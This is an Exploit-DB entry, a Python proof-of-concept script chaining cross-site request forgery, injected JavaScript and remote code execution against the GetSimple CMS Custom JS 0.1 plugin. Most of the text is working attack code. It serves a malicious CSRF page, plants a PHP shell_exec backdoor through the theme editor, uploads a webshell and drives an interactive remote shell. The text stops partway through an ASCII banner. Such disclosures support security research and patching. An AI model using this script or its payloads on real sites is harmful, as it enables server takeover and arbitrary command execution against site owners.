Exploit-DB #49816
Description: GetSimple CMS Custom JS 0.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2021-05-03
Author: boku

Exploit:
# Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE
# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi
# Date: 30/04/201
# Vendor Homepage: http://get-simple.info 
# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/
# Vendor: 4Enzo
# Version: v0.1
# Tested against Server Host: Windows 10 Pro + XAMPP
# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer
# Vulnerability Description:
#    The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.
# Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce
# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
# CVSS Base Score: 9.6

import argparse,requests
from http.server import BaseHTTPRequestHandler, HTTPServer
from colorama import (Fore as F, Back as B, Style as S)
from threading import Thread
from time import sleep

FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')

class theTHREADER(object):
    def __init__(self, interval=1):
        self.interval = interval
        thread = Thread(target=self.run, args=())
        thread.daemon = True
        thread.start()
    def run(self):
        run()

def webshell(target):
    try:
        websh = "{}/webshell.php".format(target,page)
        term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)
        welcome = '    {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)
        print(welcome)
        while True:
            specialmove = input(term)
            command = {'FierceGodKick': specialmove}
            r = requests.post(websh, data=command, verify=False)
            status = r.status_code
            if status != 200:
                r.raise_for_status()
            response = r.text
            print(response)
    except:
        pass


def xhrRcePayload():
    payload  = 'var e=function(i){return encodeURIComponent(i);};'
    payload += 'var gt = decodeURIComponent("%3c");'
    payload += 'var lt = decodeURIComponent("%3e");'
    payload += 'var h="application/x-www-form-urlencoded";'
    payload += 'var u="/admin/theme-edit.php";'
    payload += 'var xhr1=new XMLHttpRequest();'
    payload += 'var xhr2=new XMLHttpRequest();'
    payload += 'xhr1.onreadystatechange=function(){'
    payload += 'if(xhr1.readyState==4 && xhr1.status==200){'
    payload += 'r=this.responseXML;'
    payload += 'nVal=r.querySelector("#nonce").value;'
    payload += 'eVal=r.forms[1][2].defaultValue;'
    payload += 'xhr2.open("POST",u,true);'
    payload += 'xhr2.setRequestHeader("Content-Type",h);'
    payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'
    payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
    payload += 'xhr2.send(params);'
    payload += '}};'
    payload += 'xhr1.open("GET",u,true);'
    payload += 'xhr1.responseType="document";'
    payload += 'xhr1.send();'
    return payload

def csrfPayload():
    payload  = '<html><body>'
    payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'
    payload += '<input type="hidden" name="customjs_url_content" value="">'
    payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'
    payload += '<input type="hidden" name="submit" value="Save Settings">'
    payload += '<input type="submit" value="Submit request">'
    payload += '</form></body></html>'
    return payload

class S(BaseHTTPRequestHandler):
    def do_GET(self):
        victim = self.client_address
        victim = "{}:{}".format(victim[0],victim[1])
        print("{}{} connected to Malicious CSRF Site!".format(ok,victim))
        print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))
        self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print('Stopping httpd...')

def tryUploadWebshell(target,page):
    try:
        blind = target+page
        # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)
        webshUpload  = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}
        requests.post(url=blind, data=webshUpload, verify=False)
    except:
        pass

def checkWebshell(target):
    try:
        websh = "{}/webshell.php".format(target)
        capsule = {'FierceGodKick':'pwnt?'}
        resp = requests.post(url=websh, data=capsule, verify=False)
        return resp.status_code
    except:
        pass

def sig():
    SIG  = SB+FY+"  .-----.._       ,--.            "+FB+"    ___  "+FY+"     ___ _____ _____ _   _ _____ \n"
    SIG += FY+"  |  ..    >  ___ |  | .--.        "+FB+"  /   \\    "+FY+" |_  |  _  /  ___| | | |_   _| \n"
    SIG += FY+"  |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __ "+FB+"   \\ O /   "+FY+"    | | | | \\ `--.| |_| | | |  \n"
    SIG += FY+"  |      </ "